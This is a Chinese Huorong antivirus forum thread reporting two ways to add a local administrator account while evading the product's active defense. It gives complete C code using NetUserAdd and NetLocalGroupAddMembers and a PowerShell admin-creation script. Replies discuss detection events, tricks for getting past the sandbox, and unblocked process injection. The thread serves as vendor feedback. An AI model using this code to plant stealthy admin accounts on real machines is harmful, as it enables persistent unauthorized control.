火绒安全软件

动态防御问题反馈
发新帖
打印 上一主题 下一主题

绕过火绒主防添加管理员账户的两种方法

 关闭 [复制链接]
1451 25
楼主
发表于 2025-1-6 23:31:02 | 只看该作者 |只看大图 |倒序浏览 |阅读模式
跳转到指定楼层
本帖最后由 UnknownOoo 于 2025-1-6 23:33 编辑

嘛...先给自己套个甲:本人并非网安,计算机相关专业的(只是基于兴趣驱动),下文内容中可能会出现一些相对“愚蠢”的问题,别骂我别骂我qwq


其实吧,这两种方法应该算是非常普遍的(?)随便在搜索引擎搜下就能搜到的...所以只是我浅浅复习一下C语言的写法而已,免得太久没摸什么都不会写了(被打)

首先,除了调用net.exe -> net1.exe 的方法外,我们还可以通过调用系统API来实现添加账户(欺负火绒没有API级别的监控awa)


所以嘛,接下来我们要用到 lmaccess.h 中的两个API函数:NetUserAdd NetLocalGroupAddMembers,函数的参数分别如下:

  1. NET_API_STATUS NET_API_FUNCTION NetUserAdd(
  2.   [in]  LPCWSTR servername,
  3.   [in]  DWORD   level,
  4.   [in]  LPBYTE  buf,
  5.   [out] LPDWORD parm_err
  6. );
复制代码
  1. NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
  2.   [in] LPCWSTR servername,
  3.   [in] LPCWSTR groupname,
  4.   [in] DWORD   level,
  5.   [in] LPBYTE  buf,
  6.   [in] DWORD   totalentries
  7. );
复制代码


这边就直接给代码了:
  1. #include "main.h"

  2. int main() {
  3.     wchar_t username[] = L"test";
  4.     wchar_t password[] = L"test";
  5.     DWORD dwError = 0;
  6.     NET_API_STATUS nStatus;

  7.     USER_INFO_1 User_Information;
  8.     User_Information.usri1_name = username;
  9.     User_Information.usri1_password = password;
  10.     User_Information.usri1_password_age = NULL;
  11.     User_Information.usri1_priv = USER_PRIV_USER;
  12.     User_Information.usri1_home_dir = NULL;
  13.     User_Information.usri1_comment = NULL;
  14.     User_Information.usri1_flags = UF_SCRIPT;
  15.     User_Information.usri1_script_path = NULL;

  16.     nStatus = NetUserAdd(NULL,
  17.                    1,
  18.                    (LPBYTE)&User_Information,
  19.                    &dwError);

  20.     if (nStatus != NERR_Success){
  21.         printf("A system error has occurred: %d\n", nStatus);
  22.         getchar();
  23.         return -1;
  24.     }
  25.     printf("User "%ls" has been successfully added.\r\n", username);
  26. }
复制代码


在当前场景下, USER_INFO_1  结构体中的 usri1_priv 成员只能赋值 USER_PRIV_USER 。你问为什么?我也不造呐,反正微软文档就是这么写的:
分配给 usri1_name 成员的权限级别。 调用 NetUserAdd 函数时,必须 USER_PRIV_USER 此成员。 调用 NetUserSetInfo 函数时,此成员必须是 NetUserGetInfo 函数或 NetUserEnum 函数返回的值。 此成员可以是以下值之一。 有关用户和组帐户权限的详细信息,请参阅 特权。

另外在 NetUserAdd 函数调用后,你并不能直接在“控制面板\用户帐户\用户帐户\管理帐户”中找到你新建的账户,而需要到“计算机管理(本地)\系统工具\本地用户和组\用户”中才能找到,猜测可能是 USER_INFO_1  结构体中的 usri1_flags 成员的问题。

这样不出所料的话,你就能得到一个标准权限的账户了,是在火绒无感的情况下哦。



然后就需要把这个账户丢到管理员组里来提升到管理员权限,此步骤用到了 NetLocalGroupAddMembers 函数,不多说,直接丢代码:

  1. #include "main.h"

  2. int main() {
  3.     wchar_t username[] = L"test";
  4.     wchar_t password[] = L"test";
  5.     DWORD dwError = 0;
  6.     NET_API_STATUS nStatus;

  7.     USER_INFO_1 User_Information;
  8.     User_Information.usri1_name = username;
  9.     User_Information.usri1_password = password;
  10.     User_Information.usri1_password_age = NULL;
  11.     User_Information.usri1_priv = USER_PRIV_USER;
  12.     User_Information.usri1_home_dir = NULL;
  13.     User_Information.usri1_comment = NULL;
  14.     User_Information.usri1_flags = UF_SCRIPT;
  15.     User_Information.usri1_script_path = NULL;

  16.     nStatus = NetUserAdd(NULL,
  17.                         1,
  18.                         (LPBYTE)&User_Information,
  19.                         &dwError);

  20.     if (nStatus != NERR_Success){
  21.         printf("A system error has occurred: %d\n", nStatus);
  22.         getchar();
  23.         return -1;
  24.     }
  25.     printf("User "%ls" has been successfully added.\r\n", username);

  26.     LOCALGROUP_MEMBERS_INFO_3 account;
  27.     account.lgrmi3_domainandname = User_Information.usri1_name;
  28.     nStatus = NULL;

  29.     nStatus = NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1);
  30.     if (nStatus != NERR_Success) {
  31.         printf("A system error has occurred: %d\n", nStatus);
  32.         getchar();
  33.         return -1;
  34.     }
  35.     printf("User "%ls" has been successfully added to administrator's group!\r\n", username);
  36.     getchar();
  37.     return 0;
  38. }
复制代码

其中的第三个参数“level”可以填 0 或者 3,具体含义如下图:



根据我们前面的写法...怎么想都是填3呐...用SID不是恶心自己嘛()

选填3的话...我们就需要按照文档的说法初始化 LOCALGROUP_MEMBERS_INFO_3 结构体,
然后把被操作用户的名字传到里面的唯一成员 lgrmi3_domainandname 中(这个也简单)

这样就结束哩,效果如图:



还有一种方法是使用powershell脚本语言来添加管理员账户...这个方法就更简单了...直接丢代码,讲都不用讲()


  1. # 使用管理员权限运行此脚本

  2. # 定义新用户的用户名和密码
  3. $userName = "NewUser"
  4. $password = ConvertTo-SecureString "Password123" -AsPlainText -Force

  5. # 创建本地用户账户
  6. New-LocalUser -Name $userName -Password $password -FullName "New User" -Description "This is a new user."

  7. # 添加新用户到 "Administrators" 组
  8. Add-LocalGroupMember -Group "Administrators" -Member $userName

  9. # 输出创建的用户信息
  10. Get-LocalUser -Name $userName
复制代码

由于这次涉及到的文件没有任何实际危害(最多算HackTool),各位感兴趣但又没有编译环境的可以拉去测试(exe/ps1 均需要以管理员权限运行!)



AddUser.zip (5.07 KB, 下载次数: 4)

回复

使用道具 举报

1451 25
沙发
发表于 2025-1-7 08:46:55 | 只看该作者
您好,这边确认下呢~
回复

使用道具 举报

1451 25
板凳
发表于 2025-1-7 14:24:52 | 只看该作者
本帖最后由 Dzrjks6606 于 2025-1-7 14:27 编辑

这个问题之前论坛里有位同学反馈过(地址:利用API创建用户并添加到管理员组以绕过火绒Hips),结果火绒把他发的样本做了全文哈希报毒就结束了。火绒不是没能力拦截WinAPI,而是根本不做。
回复

使用道具 举报

1451 25
地板
发表于 2025-1-7 14:29:47 | 只看该作者
Dzrjks6606 发表于 2025-1-7 14:24
这个问题之前论坛里有位同学反馈过(地址:利用API创建用户并添加到管理员组以绕过火绒Hips),结果火绒把 ...

您好,此问题目前已转交处理,后续处理结果会在此贴下跟进
回复

使用道具 举报

1451 25
5#
发表于 2025-1-7 15:30:02 | 只看该作者
本帖最后由 UnknownOoo 于 2025-1-7 15:31 编辑
Dzrjks6606 发表于 2025-1-7 14:24
这个问题之前论坛里有位同学反馈过(地址:利用API创建用户并添加到管理员组以绕过火绒Hips),结果火绒把 ...

其实就是我啦...(但那个样本是在微步上捉的,估计是某黑灰后渗透阶段有用到?)

至于为什么HVM没有检出我这个样本...我也不知道,我也不敢问(反正源码和样本都丢出来了)

回复

使用道具 举报

1451 25
6#
发表于 2025-1-7 17:43:05 | 只看该作者

点评

牛  发表于 2025-1-8 09:32
回复

使用道具 举报

1451 25
7#
发表于 2025-1-8 09:34:32 | 只看该作者
UnknownOoo 发表于 2025-1-7 15:30
其实就是我啦...(但那个样本是在微步上捉的,估计是某黑灰后渗透阶段有用到?)

至于为什么HVM没有检出 ...

报意思...没注意到用户名,只想着以前有过类似反馈。这下尴尬了哈哈哈。
个人认为这种命令行拦不住的,应交给沙盒或者行为检测,但是实际上火绒啥动静也没有
回复

使用道具 举报

1451 25
8#
发表于 2025-1-8 09:42:31 | 只看该作者
www. 发表于 2025-1-7 17:43
https://bbs.huorong.cn/thread-114218-1-1.html
https://bbs.huorong.cn/forum.php?mod=redirect&goto=fin ...

貌似对于OpenProcess(),OpenThread(),还有WriteProcessMemory()等可以拦截,但不确定。反正它们就不愿意去做就是了。
回复

使用道具 举报

1451 25
9#
发表于 2025-1-8 11:06:27 | 只看该作者
本帖最后由 UnknownOoo 于 2025-1-8 11:08 编辑
Dzrjks6606 发表于 2025-1-8 09:34
报意思...没注意到用户名,只想着以前有过类似反馈。这下尴尬了哈哈哈。
个人认为这种命令行拦 ...

命令行检测肯定防不住这类行为...火绒沙盒的话...太弱了?看之前那个帖子是标记了HVM特征的,但这个样本就没检出(甚至没有对抗就结束了)

检测的话最直接的就是hook这两个API然后检查参数(火绒不太可能)

再者就是跟踪系统日志来检测,它可以看到整个过程(创建账户 ,把账户加入到管理组)。这个是事件已经完成后的记录,但也许也能拿来检测?(回滚还原)


事件4722 -> 已启用用户帐户:


事件4732 -> 已向启用了安全性的本地组中添加某个成员:



回复

使用道具 举报

1451 25
10#
发表于 2025-1-8 11:18:36 | 只看该作者
本帖最后由 Dzrjks6606 于 2025-1-8 11:24 编辑
UnknownOoo 发表于 2025-1-8 11:06
命令行检测肯定防不住这类行为...火绒沙盒的话...太弱了?看之前那个帖子是标记了HVM特征的,但这个样本就 ...

沙盒或通用扫描肯定是能知道的,但绒貌似就没打算去处理。系统加固也只是防命令行动作。且若真出现了大批量恶意样本利用,估计绒也不考虑用防御拦,而是查杀拦。除非是网络攻击类型,才能引起他们重视。


回复

使用道具 举报

1451 25
11#
发表于 2025-1-8 11:46:11 | 只看该作者
本帖最后由 UnknownOoo 于 2025-1-8 11:47 编辑
Dzrjks6606 发表于 2025-1-8 11:18
沙盒或通用扫描肯定是能知道的,但绒貌似就没打算去处理。系统加固也只是防命令行动作。且若真出现了大批 ...

实际上沙箱对于这类行为还是有处理的,之前没检出我还以为报法被移除了,后来在内存中发现对应的报法仍然存在...然后为了触发报法我把代码狠狠的精简了(把各种容错判断注释了)然后就成功的被火绒报毒哩(反向免杀?)所以又是火绒沙箱的逻辑问题 printf绕过火绒沙箱?



至于网络攻击防护的话...那玩意还是交给WAF吧,杀软对这类攻击的检测普遍都挺弱的,随便混淆下就能绕过的那种



评分

参与人数 1金钱 +1 收起 理由
Dzrjks6606 + 1 不错,支持了!!

查看全部评分

回复

使用道具 举报

1451 25
12#
发表于 2025-4-19 22:05:32 | 只看该作者
Dzrjks6606 发表于 2025-1-8 09:42
貌似对于OpenProcess(),OpenThread(),还有WriteProcessMemory()等可以拦截,但不确定。反正它们就不愿 ...

没有拦截。
火绒对所有注入都不做拦截。
回复

使用道具 举报

1451 25
13#
发表于 2025-4-21 08:59:49 | 只看该作者
Disa 发表于 2025-4-19 22:05
没有拦截。
火绒对所有注入都不做拦截。

您好,您这边本地有遇到注入未拦截的问题吗?方便的话可以留下联系方式这边协助您看下哈~
回复

使用道具 举报

1451 25
14#
发表于 2025-4-21 09:55:16 | 只看该作者
Disa 发表于 2025-4-19 22:05
没有拦截。
火绒对所有注入都不做拦截。

系统防护>加固>关键进程保护,打开对应的保护项,然后再去试试注入RuntimeBroker.exe,winlogon.exe等试试。
回复

使用道具 举报

1451 25
15#
发表于 2025-4-21 17:46:27 | 只看该作者
Dzrjks6606 发表于 2025-1-8 11:18
沙盒或通用扫描肯定是能知道的,但绒貌似就没打算去处理。系统加固也只是防命令行动作。且若真出现了大批 ...

对Discuz网站强制应用暗黑模式不会看着不习惯吗

评分

参与人数 1金钱 +1 收起 理由
Dzrjks6606 + 1 此事必有蹊跷,元芳怎么看?

查看全部评分

回复

使用道具 举报

您需要登录后才可以回帖 登录 | [立即注册]

本版积分规则

快速回复 返回顶部 返回列表